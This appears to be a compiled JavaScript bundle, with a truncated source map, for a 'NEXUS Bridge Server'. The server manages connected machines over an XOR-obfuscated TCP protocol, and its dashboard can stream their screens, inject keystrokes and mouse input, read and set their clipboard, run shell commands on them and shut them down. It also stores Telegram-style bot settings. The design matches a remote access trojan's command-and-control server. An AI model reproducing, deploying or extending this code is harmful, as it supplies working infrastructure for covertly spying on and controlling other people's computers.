{"code":"__filename=\"/home/c/nexus/src/server/tcp-bridge.ts\";(()=>{\n\"use strict\";var __create=Object.create;var __defProp=Object.defineProperty;var __getOwnPropDesc=Object.getOwnPropertyDescriptor;var __getOwnPropNames=Object.getOwnPropertyNames;var __getProtoOf=Object.getPrototypeOf;var __hasOwnProp=Object.prototype.hasOwnProperty;var __name=(target,value)=>__defProp(target,\"name\",{value,configurable:true});var __copyProps=(to,from,except,desc)=>{if(from&&typeof from===\"object\"||typeof from===\"function\"){for(let key of __getOwnPropNames(from))if(!__hasOwnProp.call(to,key)&&key!==except)__defProp(to,key,{get:()=>from[key],enumerable:!(desc=__getOwnPropDesc(from,key))||desc.enumerable})}return to};var __toESM=(mod,isNodeMode,target)=>(target=mod!=null?__create(__getProtoOf(mod)):{},__copyProps(isNodeMode||!mod||!mod.__esModule?__defProp(target,\"default\",{value:mod,enumerable:true}):target,mod));var net=__toESM(require(\"net\"));var http=__toESM(require(\"http\"));var import_ws=require(\"ws\");var fs=__toESM(require(\"fs\"));var path=__toESM(require(\"path\"));var url=__toESM(require(\"url\"));var dotenv=__toESM(require(\"dotenv\"));dotenv.config({path:path.join(process.cwd(),\".env.local\")});const TCP_PORT=1338;const WS_PORT=1339;const DATA_DIR=path.join(process.cwd(),\"data\");const DB_FILE=path.join(DATA_DIR,\"db.json\");const ACCESS_TOKEN=process.env.ACCESS_TOKEN||\"\";const CLIENT_KEY=process.env.CLIENT_KEY||ACCESS_TOKEN.slice(4,20);if(!ACCESS_TOKEN){console.error(\"[ERROR] ACCESS_TOKEN not set in .env.local\");process.exit(1)}console.log(`[AUTH] Client key: ${CLIENT_KEY}`);const PKT={HANDSHAKE:1,HANDSHAKE_ACK:2,HEARTBEAT:3,HEARTBEAT_ACK:4,SCREEN_REQ:16,SCREEN_DATA:17,MOUSE_EVENT:32,KEY_EVENT:33,CLIPBOARD_GET:48,CLIPBOARD_SET:49,CLIPBOARD_DATA:50,FILE_LIST:64,FILE_DATA:65,FILE_DOWNLOAD:66,FILE_UPLOAD:67,SHELL_CMD:80,SHELL_OUTPUT:81,SYSINFO:96,SHUTDOWN:112,AUTH_FAIL:254,DISCONNECT:255};const MAGIC=1313167445;const XOR_KEY=Buffer.from([78,69,88,85,83,33]);function xorDecrypt(data,offset=0){for(let i=offset;i<data.length;i++){data[i]^=XOR_KEY[(i-offset)%XOR_KEY.length]}}__name(xorDecrypt,\"xorDecrypt\");function xorEncrypt(data,offset=0){xorDecrypt(data,offset)}__name(xorEncrypt,\"xorEncrypt\");const clients=new Map;const dashboards=new Map;async function loadDB(){try{const raw=await fs.promises.readFile(DB_FILE,\"utf8\");return JSON.parse(raw)}catch{return{clients:[],apps:[],settings:{botToken:\"\",chatId:\"\"}}}}__name(loadDB,\"loadDB\");async function saveDB(db){await fs.promises.mkdir(DATA_DIR,{recursive:true});await fs.promises.writeFile(DB_FILE,JSON.stringify(db,null,2))}__name(saveDB,\"saveDB\");async function updateClientInDB(info,connected){const db=await loadDB();const existing=db.clients.find(c=>c.id===info.id);const now=new Date().toISOString();if(existing){existing.hostname=info.hostname;existing.os=info.os;existing.arch=info.arch;existing.ip=info.ip;existing.lastSeen=now;existing.connected=connected}else{db.clients.push({id:info.id,hostname:info.hostname,os:info.os,osVersion:\"\",arch:info.arch,ip:info.ip,lastSeen:now,connected,createdAt:now})}await saveDB(db)}__name(updateClientInDB,\"updateClientInDB\");async function setClientDisconnected(clientId){const db=await loadDB();const client=db.clients.find(c=>c.id===clientId);if(client){client.connected=false;client.lastSeen=new Date().toISOString();await saveDB(db)}}__name(setClientDisconnected,\"setClientDisconnected\");let sequenceCounter=0;function createPacket(type,data,encrypt=false){const header=Buffer.alloc(16);header.writeUInt32LE(MAGIC,0);header.writeUInt32LE(type,4);header.writeUInt32LE(data?.length??0,8);header.writeUInt32LE(++sequenceCounter>>>0,12);if(encrypt){xorEncrypt(header,4)}if(data&&data.length>0){const payload=Buffer.from(data);if(encrypt){xorEncrypt(payload,0)}return Buffer.concat([header,payload])}return header}__name(createPacket,\"createPacket\");function parseHeader(buf){if(buf.length<16)return null;const headerCopy=Buffer.from(buf.subarray(0,16));let magic=headerCopy.readUInt32LE(0);if(magic===MAGIC){return{header:{magic,type:headerCopy.readUInt32LE(4),length:headerCopy.readUInt32LE(8),sequence:headerCopy.readUInt32LE(12)},encrypted:false}}xorDecrypt(headerCopy,4);magic=headerCopy.readUInt32LE(0);if(magic===MAGIC){return{header:{magic,type:headerCopy.readUInt32LE(4),length:headerCopy.readUInt32LE(8),sequence:headerCopy.readUInt32LE(12)},encrypted:true}}console.log(`[TCP] Bad magic: 0x${buf.readUInt32LE(0).toString(16)}`);return null}__name(parseHeader,\"parseHeader\");function handleTCPClient(socket){const remoteAddr=`${socket.remoteAddress}:${socket.remotePort}`;const remoteIP=socket.remoteAddress?.replace(/^::ffff:/,\"\")||\"unknown\";console.log(`[TCP] New connection from ${remoteAddr}`);let clientId=null;let buffer=Buffer.alloc(0);let authenticated=false;let clientEncrypted=false;socket.on(\"data\",async chunk=>{buffer=Buffer.concat([buffer,chunk]);while(buffer.length>=16){const result=parseHeader(buffer);if(!result){console.log(`[TCP] Invalid packet from ${remoteAddr} - bad header`);socket.destroy();return}const{header,encrypted}=result;if(encrypted)clientEncrypted=true;const totalLen=16+header.length;if(buffer.length<totalLen)break;let payload=buffer.subarray(16,totalLen);if(encrypted&&payload.length>0){payload=Buffer.from(payload);xorDecrypt(payload,0)}buffer=buffer.subarray(totalLen);await processPacket(socket,header,payload,remoteAddr,remoteIP,authenticated,clientEncrypted,id=>{clientId=id},auth=>{authenticated=auth})}});socket.on(\"close\",async()=>{console.log(`[TCP] Connection closed: ${remoteAddr}`);if(clientId&&clients.has(clientId)){const client=clients.get(clientId);if(client.socket===socket){clients.delete(clientId);const disconnectedId=clientId;setTimeout(async()=>{if(!clients.has(disconnectedId)){await setClientDisconnected(disconnectedId);broadcastToDashboards({type:\"client_disconnect\",clientId:disconnectedId})}},3e3)}}});socket.on(\"error\",err=>{console.log(`[TCP] Socket error from ${remoteAddr}: ${err.message}`)})}__name(handleTCPClient,\"handleTCPClient\");async function processPacket(socket,header,payload,remoteAddr,remoteIP,authenticated,encrypted,setClientId,setAuthenticated){if(header.type!==PKT.SCREEN_DATA&&header.type!==PKT.HEARTBEAT&&header.type!==PKT.HEARTBEAT_ACK){console.log(`[PKT] type=0x${header.type.toString(16)}, len=${header.length}, seq=${header.sequence}, enc=${encrypted}`)}switch(header.type){case PKT.HANDSHAKE:{try{const info=JSON.parse(payload.toString());if(info.key!==CLIENT_KEY){console.log(`[TCP] Auth FAILED from ${remoteAddr} - invalid key`);socket.write(createPacket(PKT.AUTH_FAIL,void 0,encrypted));socket.destroy();return}setAuthenticated(true);info.ip=remoteIP;const existingClient=clients.get(info.id);if(existingClient&&existingClient.socket!==socket){console.log(`[TCP] Replacing existing connection for ${info.id}`);existingClient.socket.destroy()}console.log(`[TCP] Auth OK - ${info.hostname} (${info.id}) @ ${remoteIP}`);setClientId(info.id);clients.set(info.id,{socket,info,lastSeen:new Date,screenRequested:false,viewers:new Set,authenticated:true,encrypted});await updateClientInDB(info,true);socket.write(createPacket(PKT.HANDSHAKE_ACK,void 0,encrypted));broadcastToDashboards({type:\"client_connect\",client:info})}catch(e){console.log(`[TCP] Invalid handshake payload: ${e}`);socket.destroy()}break}case PKT.HEARTBEAT:{if(!authenticated)return;let clientEnc=encrypted;for(const c of clients.values()){if(c.socket===socket){clientEnc=c.encrypted;break}}socket.write(createPacket(PKT.HEARTBEAT_ACK,void 0,clientEnc));for(const[,client]of clients){if(client.socket===socket){client.lastSeen=new Date;break}}break}case PKT.HEARTBEAT_ACK:{if(!authenticated)return;for(const[,client]of clients){if(client.socket===socket){client.lastSeen=new Date;break}}break}case PKT.SCREEN_DATA:{console.log(`[SCREEN] Received: auth=${authenticated}, len=${payload.length}`);if(!authenticated||payload.length<9){console.log(`[SCREEN] Invalid: auth=${authenticated}, len=${payload.length}`);break}const width=payload.readUInt32LE(0);const height=payload.readUInt32LE(4);const bpp=payload.readUInt8(8);const pixelData=payload.subarray(9);if(bpp!==1){const expectedSize=width*height*4;if(pixelData.length!==expectedSize){break}}let forwarded=false;for(const[id,client]of clients){if(client.socket===socket){if(client.viewers.size>0){const screenData={type:\"screen\",clientId:id,width,height,bpp,seq:header.sequence,data:pixelData.toString(\"base64\")};const json=JSON.stringify(screenData);const BACKPRESSURE_THRESHOLD=256*1024;for(const viewer of client.viewers){if(viewer.readyState===import_ws.WebSocket.OPEN){if(viewer.bufferedAmount>BACKPRESSURE_THRESHOLD){continue}viewer.send(json);forwarded=true}}}break}}if(!forwarded&&header.sequence%100===0){console.log(`[SCREEN] No viewers to forward (seq=${header.sequence})`)}break}case PKT.CLIPBOARD_DATA:{if(!authenticated)break;const text=payload.toString();for(const[id,client]of clients){if(client.socket===socket){broadcastToViewers(id,{type:\"clipboard\",clientId:id,text});break}}break}case PKT.SHELL_OUTPUT:{if(!authenticated)break;const output=payload.toString();for(const[id,client]of clients){if(client.socket===socket){broadcastToViewers(id,{type:\"shell_output\",clientId:id,output});break}}break}case PKT.SYSINFO:{if(!authenticated)break;try{const info=JSON.parse(payload.toString());for(const[id,client]of clients){if(client.socket===socket){client.info=info;broadcastToViewers(id,{type:\"sysinfo\",clientId:id,info});break}}}catch{}break}}}__name(processPacket,\"processPacket\");function handleDashboardWS(ws,req){const remoteIP=req.socket.remoteAddress?.replace(/^::ffff:/,\"\")||\"unknown\";console.log(`[WS] New connection from ${remoteIP}`);const parsedUrl=url.parse(req.url||\"\",true);const token=parsedUrl.query.token;if(token!==ACCESS_TOKEN){console.log(`[WS] Auth FAILED from ${remoteIP} - invalid token`);ws.close(4001,\"Unauthorized\");return}console.log(`[WS] Auth OK - Dashboard from ${remoteIP}`);dashboards.set(ws,{authenticated:true,ip:remoteIP});const clientList=Array.from(clients.entries()).map(([id,c])=>({id,...c.info,connected:true}));ws.send(JSON.stringify({type:\"client_list\",clients:clientList}));ws.on(\"message\",data=>{try{const msg=JSON.parse(data.toString());handleDashboardMessage(ws,msg)}catch(e){console.log(`[WS] Invalid message: ${e}`)}});ws.on(\"close\",()=>{const info=dashboards.get(ws);console.log(`[WS] Dashboard disconnected from ${info?.ip||\"unknown\"}`);dashboards.delete(ws);for(const client of clients.values()){client.viewers.delete(ws)}})}__name(handleDashboardWS,\"handleDashboardWS\");function handleDashboardMessage(ws,msg){const info=dashboards.get(ws);if(!info?.authenticated){ws.close(4001,\"Unauthorized\");return}const clientId=msg.clientId;const client=clients.get(clientId);switch(msg.type){case\"start_view\":{if(!client){ws.send(JSON.stringify({type:\"error\",message:\"Client not found\"}));return}client.viewers.add(ws);console.log(`[WS] ${info.ip} started viewing ${clientId}`);client.socket.write(createPacket(PKT.SCREEN_REQ,void 0,client.encrypted));break}case\"stop_view\":{if(client){client.viewers.delete(ws);console.log(`[WS] ${info.ip} stopped viewing ${clientId}`)}break}case\"request_screen\":{if(!client)return;client.socket.write(createPacket(PKT.SCREEN_REQ,void 0,client.encrypted));break}case\"mouse\":{if(!client)return;const buf=Buffer.alloc(12);buf.writeInt32LE(msg.x,0);buf.writeInt32LE(msg.y,4);buf.writeUInt32LE(msg.flags,8);client.socket.write(createPacket(PKT.MOUSE_EVENT,buf,client.encrypted));break}case\"key\":{if(!client)return;const buf=Buffer.alloc(8);buf.writeUInt32LE(msg.vkCode,0);buf.writeUInt32LE(msg.flags,4);client.socket.write(createPacket(PKT.KEY_EVENT,buf,client.encrypted));break}case\"clipboard_get\":{if(!client)return;client.socket.write(createPacket(PKT.CLIPBOARD_GET,void 0,client.encrypted));break}case\"clipboard_set\":{if(!client)return;const text=Buffer.from(msg.text);client.socket.write(createPacket(PKT.CLIPBOARD_SET,text,client.encrypted));break}case\"shell\":{if(!client)return;const cmd=Buffer.from(msg.command);client.socket.write(createPacket(PKT.SHELL_CMD,cmd,client.encrypted));break}case\"sysinfo\":{if(!client)return;client.socket.write(createPacket(PKT.SYSINFO,void 0,client.encrypted));break}case\"disconnect_client\":{if(!client)return;console.log(`[WS] ${info.ip} disconnecting client ${clientId}`);client.socket.write(createPacket(PKT.DISCONNECT,void 0,client.encrypted));client.socket.destroy();break}case\"shutdown\":{if(!client)return;console.log(`[WS] ${info.ip} sending SHUTDOWN to client ${clientId}`);client.socket.write(createPacket(PKT.SHUTDOWN,void 0,client.encrypted));break}}}__name(handleDashboardMessage,\"handleDashboardMessage\");function broadcastToDashboards(msg){const data=JSON.stringify(msg);for(const[ws,info]of dashboards){if(info.authenticated&&ws.readyState===import_ws.WebSocket.OPEN){ws.send(data)}}}__name(broadcastToDashboards,\"broadcastToDashboards\");function broadcastToViewers(clientId,msg){const client=clients.get(clientId);if(!client)return;const data=JSON.stringify(msg);for(const ws of client.viewers){if(ws.readyState===import_ws.WebSocket.OPEN){ws.send(data)}}}__name(broadcastToViewers,\"broadcastToViewers\");setInterval(()=>{for(const[id,client]of clients){const now=Date.now();const lastSeen=client.lastSeen.getTime();if(now-lastSeen>6e4){console.log(`[TCP] Client ${id} timed out`);client.socket.destroy()}else if(now-lastSeen>1e4){client.socket.write(createPacket(PKT.HEARTBEAT,void 0,client.encrypted))}}},5e3);const tcpServer=net.createServer(handleTCPClient);tcpServer.listen(TCP_PORT,\"0.0.0.0\",()=>{console.log(`[TCP] Client bridge listening on port ${TCP_PORT}`)});const httpServer=http.createServer((req,res)=>{res.writeHead(200);res.end(\"Nexus Bridge Server - Auth Required\")});const wsServer=new import_ws.WebSocketServer({server:httpServer});wsServer.on(\"connection\",handleDashboardWS);httpServer.listen(WS_PORT,\"0.0.0.0\",()=>{console.log(`[WS] Dashboard bridge listening on port ${WS_PORT}`)});console.log(\"\\n\\u2554\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2557\");console.log(\"\\u2551     NEXUS Bridge Server v2.0 (Secure)    \\u2551\");console.log(\"\\u2560\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2563\");console.log(`\\u2551 TCP Port (Clients): ${TCP_PORT}                  \\u2551`);console.log(`\\u2551 WS Port (Dashboard): ${WS_PORT}                 \\u2551`);console.log(\"\\u2551 Authentication: ENABLED                  \\u2551\");console.log(\"\\u255A\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u2550\\u255D\\n\");\n})()\n","warnings":[],"map":{"version":3,"mappings":";u0BAMA,QAAqB,wBACrB,SAAsB,yBACtB,cAA2C,cAC3C,OAAoB,uBACpB,SAAsB,yBACtB,QAAqB,wBACrB,WAAwB,2BAGxB,OAAO,OAAO,CAAE,KAAM,KAAK,KAAK,QAAQ,IAAI,EAAG,YAAY,CAAE,CAAC,EAE9D,MAAM,SAAW,KACjB,MAAM,QAAU,KAChB,MAAM,SAAW,KAAK,KAAK,QAAQ,IAAI,EAAG,MAAM,EAChD,MAAM,QAAU,KAAK,KAAK,SAAU,SAAS,EAG7C,MAAM,aAAe,QAAQ,IAAI,cAAgB,GACjD,MAAM,WAAa,QAAQ,IAAI,YAAc,aAAa,MAAM,EAAG,EAAE,EAErE,GAAI,CAAC,aAAc,CACjB,QAAQ,MAAM,4CAA4C,EAC1D,QAAQ,KAAK,CAAC,CAChB,CAEA,QAAQ,IAAI,sBAAsB,UAAU,EAAE,EAsC9C,MAAM,IAAM,CACV,UAAW,EACX,cAAe,EACf,UAAW,EACX,cAAe,EACf,WAAY,GACZ,YAAa,GACb,YAAa,GACb,UAAW,GACX,cAAe,GACf,cAAe,GACf,eAAgB,GAChB,UAAW,GACX,UAAW,GACX,cAAe,GACf,YAAa,GACb,UAAW,GACX,aAAc,GACd,QAAS,GACT,SAAU,IACV,UAAW,IACX,WAAY,GACd,EAEA,MAAM,MAAQ,WAGd,MAAM,QAAU,OAAO,KAAK,CAAC,GAAM,GAAM,GAAM,GAAM,GAAM,EAAI,CAAC,EAEhE,SAAS,WAAW,KAAc,OAAS,EAAS,CAClD,QAAS,EAAI,OAAQ,EAAI,KAAK,OAAQ,IAAK,CACzC,KAAK,CAAC,GAAK,SAAS,EAAI,QAAU,QAAQ,MAAM,CAClD,CACF,CAJS,gCAMT,SAAS,WAAW,KAAc,OAAS,EAAS,CAClD,WAAW,KAAM,MAAM,CACzB,CAFS,gCAQT,MAAM,QAAU,IAAI,IACpB,MAAM,WAAa,IAAI,IAwBvB,eAAe,QAAsB,CACnC,GAAI,CACF,MAAM,IAAM,MAAM,GAAG,SAAS,SAAS,QAAS,MAAM,EACtD,OAAO,KAAK,MAAM,GAAG,CACvB,MAAQ,CACN,MAAO,CAAE,QAAS,CAAC,EAAG,KAAM,CAAC,EAAG,SAAU,CAAE,SAAU,GAAI,OAAQ,EAAG,CAAE,CACzE,CACF,CAPe,wBASf,eAAe,OAAO,GAAuB,CAC3C,MAAM,GAAG,SAAS,MAAM,SAAU,CAAE,UAAW,IAAK,CAAC,EACrD,MAAM,GAAG,SAAS,UAAU,QAAS,KAAK,UAAU,GAAI,KAAM,CAAC,CAAC,CAClE,CAHe,wBAKf,eAAe,iBAAiB,KAAkB,UAAmC,CACnF,MAAM,GAAK,MAAM,OAAO,EAExB,MAAM,SAAW,GAAG,QAAQ,KAAM,GAAM,EAAE,KAAO,KAAK,EAAE,EACxD,MAAM,IAAM,IAAI,KAAK,EAAE,YAAY,EAEnC,GAAI,SAAU,CACZ,SAAS,SAAW,KAAK,SACzB,SAAS,GAAK,KAAK,GACnB,SAAS,KAAO,KAAK,KACrB,SAAS,GAAK,KAAK,GACnB,SAAS,SAAW,IACpB,SAAS,UAAY,SACvB,KAAO,CACL,GAAG,QAAQ,KAAK,CACd,GAAI,KAAK,GACT,SAAU,KAAK,SACf,GAAI,KAAK,GACT,UAAW,GACX,KAAM,KAAK,KACX,GAAI,KAAK,GACT,SAAU,IACV,UACA,UAAW,GACb,CAAC,CACH,CAEA,MAAM,OAAO,EAAE,CACjB,CA5Be,4CA8Bf,eAAe,sBAAsB,SAAiC,CACpE,MAAM,GAAK,MAAM,OAAO,EACxB,MAAM,OAAS,GAAG,QAAQ,KAAM,GAAM,EAAE,KAAO,QAAQ,EACvD,GAAI,OAAQ,CACV,OAAO,UAAY,MACnB,OAAO,SAAW,IAAI,KAAK,EAAE,YAAY,EACzC,MAAM,OAAO,EAAE,CACjB,CACF,CARe,sDAcf,IAAI,gBAAkB,EAEtB,SAAS,aAAa,KAAc,KAAe,QAAU,MAAe,CAC1E,MAAM,OAAS,OAAO,MAAM,EAAE,EAC9B,OAAO,cAAc,MAAO,CAAC,EAC7B,OAAO,cAAc,KAAM,CAAC,EAC5B,OAAO,cAAc,MAAM,QAAU,EAAG,CAAC,EACzC,OAAO,cAAc,EAAE,kBAAoB,EAAG,EAAE,EAEhD,GAAI,QAAS,CACX,WAAW,OAAQ,CAAC,CACtB,CAEA,GAAI,MAAQ,KAAK,OAAS,EAAG,CAC3B,MAAM,QAAU,OAAO,KAAK,IAAI,EAChC,GAAI,QAAS,CACX,WAAW,QAAS,CAAC,CACvB,CACA,OAAO,OAAO,OAAO,CAAC,OAAQ,OAAO,CAAC,CACxC,CAEA,OAAO,MACT,CApBS,oCAsBT,SAAS,YAAY,IAAkE,CACrF,GAAI,IAAI,OAAS,GAAI,OAAO,KAG5B,MAAM,WAAa,OAAO,KAAK,IAAI,SAAS,EAAG,EAAE,CAAC,EAGlD,IAAI,MAAQ,WAAW,aAAa,CAAC,EAErC,GAAI,QAAU,MAAO,CAEnB,MAAO,CACL,OAAQ,CACN,MACA,KAAM,WAAW,aAAa,CAAC,EAC/B,OAAQ,WAAW,aAAa,CAAC,EACjC,SAAU,WAAW,aAAa,EAAE,CACtC,EACA,UAAW,KACb,CACF,CAGA,WAAW,WAAY,CAAC,EACxB,MAAQ,WAAW,aAAa,CAAC,EAEjC,GAAI,QAAU,MAAO,CACnB,MAAO,CACL,OAAQ,CACN,MACA,KAAM,WAAW,aAAa,CAAC,EAC/B,OAAQ,WAAW,aAAa,CAAC,EACjC,SAAU,WAAW,aAAa,EAAE,CACtC,EACA,UAAW,IACb,CACF,CAGA,QAAQ,IAAI,sBAAsB,IAAI,aAAa,CAAC,EAAE,SAAS,EAAE,CAAC,EAAE,EACpE,OAAO,IACT,CAzCS,kCA+CT,SAAS,gBAAgB,OAA0B,CACjD,MAAM,WAAa,GAAG,OAAO,aAAa,IAAI,OAAO,UAAU,GAC/D,MAAM,SAAW,OAAO,eAAe,QAAQ,WAAY,EAAE,GAAK,UAClE,QAAQ,IAAI,6BAA6B,UAAU,EAAE,EAErD,IAAI,SAA0B,KAC9B,IAAI,OAAS,OAAO,MAAM,CAAC,EAC3B,IAAI,cAAgB,MACpB,IAAI,gBAAkB,MAEtB,OAAO,GAAG,OAAQ,MAAO,OAAU,CACjC,OAAS,OAAO,OAAO,CAAC,OAAQ,KAAK,CAAC,EAEtC,MAAO,OAAO,QAAU,GAAI,CAC1B,MAAM,OAAS,YAAY,MAAM,EACjC,GAAI,CAAC,OAAQ,CACX,QAAQ,IAAI,6BAA6B,UAAU,eAAe,EAClE,OAAO,QAAQ,EACf,MACF,CAEA,KAAM,CAAE,OAAQ,SAAU,EAAI,OAC9B,GAAI,UAAW,gBAAkB,KACjC,MAAM,SAAW,GAAK,OAAO,OAC7B,GAAI,OAAO,OAAS,SAAU,MAE9B,IAAI,QAAU,OAAO,SAAS,GAAI,QAAQ,EAG1C,GAAI,WAAa,QAAQ,OAAS,EAAG,CACnC,QAAU,OAAO,KAAK,OAAO,EAC7B,WAAW,QAAS,CAAC,CACvB,CAEA,OAAS,OAAO,SAAS,QAAQ,EAEjC,MAAM,cAAc,OAAQ,OAAQ,QAAS,WAAY,SAAU,cAAe,gBAAkB,IAAO,CACzG,SAAW,EACb,EAAI,MAAS,CACX,cAAgB,IAClB,CAAC,CACH,CACF,CAAC,EAED,OAAO,GAAG,QAAS,SAAY,CAC7B,QAAQ,IAAI,4BAA4B,UAAU,EAAE,EACpD,GAAI,UAAY,QAAQ,IAAI,QAAQ,EAAG,CACrC,MAAM,OAAS,QAAQ,IAAI,QAAQ,EACnC,GAAI,OAAO,SAAW,OAAQ,CAC5B,QAAQ,OAAO,QAAQ,EACvB,MAAM,eAAiB,SACvB,WAAW,SAAY,CACrB,GAAI,CAAC,QAAQ,IAAI,cAAc,EAAG,CAChC,MAAM,sBAAsB,cAAc,EAC1C,sBAAsB,CACpB,KAAM,oBACN,SAAU,cACZ,CAAC,CACH,CACF,EAAG,GAAI,CACT,CACF,CACF,CAAC,EAED,OAAO,GAAG,QAAU,KAAQ,CAC1B,QAAQ,IAAI,2BAA2B,UAAU,KAAK,IAAI,OAAO,EAAE,CACrE,CAAC,CACH,CAnES,0CAqET,eAAe,cACb,OACA,OACA,QACA,WACA,SACA,cACA,UACA,YACA,iBACe,CAEf,GAAI,OAAO,OAAS,IAAI,aAAe,OAAO,OAAS,IAAI,WAAa,OAAO,OAAS,IAAI,cAAe,CACzG,QAAQ,IAAI,gBAAgB,OAAO,KAAK,SAAS,EAAE,CAAC,SAAS,OAAO,MAAM,SAAS,OAAO,QAAQ,SAAS,SAAS,EAAE,CACxH,CAEA,OAAQ,OAAO,KAAM,CACnB,KAAK,IAAI,UAAW,CAClB,GAAI,CACF,MAAM,KAAmB,KAAK,MAAM,QAAQ,SAAS,CAAC,EAGtD,GAAI,KAAK,MAAQ,WAAY,CAC3B,QAAQ,IAAI,0BAA0B,UAAU,gBAAgB,EAChE,OAAO,MAAM,aAAa,IAAI,UAAW,OAAW,SAAS,CAAC,EAC9D,OAAO,QAAQ,EACf,MACF,CAEA,iBAAiB,IAAI,EACrB,KAAK,GAAK,SAEV,MAAM,eAAiB,QAAQ,IAAI,KAAK,EAAE,EAC1C,GAAI,gBAAkB,eAAe,SAAW,OAAQ,CACtD,QAAQ,IAAI,2CAA2C,KAAK,EAAE,EAAE,EAChE,eAAe,OAAO,QAAQ,CAChC,CAEA,QAAQ,IAAI,mBAAmB,KAAK,QAAQ,KAAK,KAAK,EAAE,OAAO,QAAQ,EAAE,EAEzE,YAAY,KAAK,EAAE,EAEnB,QAAQ,IAAI,KAAK,GAAI,CACnB,OACA,KACA,SAAU,IAAI,KACd,gBAAiB,MACjB,QAAS,IAAI,IACb,cAAe,KACf,SACF,CAAC,EAED,MAAM,iBAAiB,KAAM,IAAI,EAEjC,OAAO,MAAM,aAAa,IAAI,cAAe,OAAW,SAAS,CAAC,EAElE,sBAAsB,CACpB,KAAM,iBACN,OAAQ,IACV,CAAC,CACH,OAAS,EAAG,CACV,QAAQ,IAAI,oCAAoC,CAAC,EAAE,EACnD,OAAO,QAAQ,CACjB,CACA,KACF,CAEA,KAAK,IAAI,UAAW,CAClB,GAAI,CAAC,cAAe,OAEpB,IAAI,UAAY,UAChB,UAAW,KAAK,QAAQ,OAAO,EAAG,CAChC,GAAI,EAAE,SAAW,OAAQ,CACvB,UAAY,EAAE,UACd,KACF,CACF,CACA,OAAO,MAAM,aAAa,IAAI,cAAe,OAAW,SAAS,CAAC,EAClE,SAAW,CAAC,CAAE,MAAM,IAAK,QAAS,CAChC,GAAI,OAAO,SAAW,OAAQ,CAC5B,OAAO,SAAW,IAAI,KACtB,KACF,CACF,CACA,KACF,CAEA,KAAK,IAAI,cAAe,CACtB,GAAI,CAAC,cAAe,OACpB,SAAW,CAAC,CAAE,MAAM,IAAK,QAAS,CAChC,GAAI,OAAO,SAAW,OAAQ,CAC5B,OAAO,SAAW,IAAI,KACtB,KACF,CACF,CACA,KACF,CAEA,KAAK,IAAI,YAAa,CACpB,QAAQ,IAAI,2BAA2B,aAAa,SAAS,QAAQ,MAAM,EAAE,EAC7E,GAAI,CAAC,eAAiB,QAAQ,OAAS,EAAG,CACxC,QAAQ,IAAI,0BAA0B,aAAa,SAAS,QAAQ,MAAM,EAAE,EAC5E,KACF,CAEA,MAAM,MAAQ,QAAQ,aAAa,CAAC,EACpC,MAAM,OAAS,QAAQ,aAAa,CAAC,EACrC,MAAM,IAAM,QAAQ,UAAU,CAAC,EAC/B,MAAM,UAAY,QAAQ,SAAS,CAAC,EAGpC,GAAI,MAAQ,EAAG,CACb,MAAM,aAAe,MAAQ,OAAS,EACtC,GAAI,UAAU,SAAW,aAAc,CACrC,KACF,CACF,CAEA,IAAI,UAAY,MAChB,SAAW,CAAC,GAAI,MAAM,IAAK,QAAS,CAClC,GAAI,OAAO,SAAW,OAAQ,CAC5B,GAAI,OAAO,QAAQ,KAAO,EAAG,CAC3B,MAAM,WAAa,CACjB,KAAM,SACN,SAAU,GACV,MACA,OACA,IACA,IAAK,OAAO,SACZ,KAAM,UAAU,SAAS,QAAQ,CACnC,EAEA,MAAM,KAAO,KAAK,UAAU,UAAU,EAGtC,MAAM,uBAAyB,IAAM,KAErC,UAAW,UAAU,OAAO,QAAS,CACnC,GAAI,OAAO,aAAe,oBAAU,KAAM,CAExC,GAAI,OAAO,eAAiB,uBAAwB,CAElD,QACF,CACA,OAAO,KAAK,IAAI,EAChB,UAAY,IACd,CACF,CACF,CACA,KACF,CACF,CACA,GAAI,CAAC,WAAa,OAAO,SAAW,MAAQ,EAAG,CAC7C,QAAQ,IAAI,uCAAuC,OAAO,QAAQ,GAAG,CACvE,CACA,KACF,CAEA,KAAK,IAAI,eAAgB,CACvB,GAAI,CAAC,cAAe,MACpB,MAAM,KAAO,QAAQ,SAAS,EAC9B,SAAW,CAAC,GAAI,MAAM,IAAK,QAAS,CAClC,GAAI,OAAO,SAAW,OAAQ,CAC5B,mBAAmB,GAAI,CACrB,KAAM,YACN,SAAU,GACV,IACF,CAAC,EACD,KACF,CACF,CACA,KACF,CAEA,KAAK,IAAI,aAAc,CACrB,GAAI,CAAC,cAAe,MACpB,MAAM,OAAS,QAAQ,SAAS,EAChC,SAAW,CAAC,GAAI,MAAM,IAAK,QAAS,CAClC,GAAI,OAAO,SAAW,OAAQ,CAC5B,mBAAmB,GAAI,CACrB,KAAM,eACN,SAAU,GACV,MACF,CAAC,EACD,KACF,CACF,CACA,KACF,CAEA,KAAK,IAAI,QAAS,CAChB,GAAI,CAAC,cAAe,MACpB,GAAI,CACF,MAAM,KAAmB,KAAK,MAAM,QAAQ,SAAS,CAAC,EACtD,SAAW,CAAC,GAAI,MAAM,IAAK,QAAS,CAClC,GAAI,OAAO,SAAW,OAAQ,CAC5B,OAAO,KAAO,KACd,mBAAmB,GAAI,CACrB,KAAM,UACN,SAAU,GACV,IACF,CAAC,EACD,KACF,CACF,CACF,MAAQ,CAER,CACA,KACF,CACF,CACF,CAnNe,sCAyNf,SAAS,kBAAkB,GAAe,IAAiC,CACzE,MAAM,SAAW,IAAI,OAAO,eAAe,QAAQ,W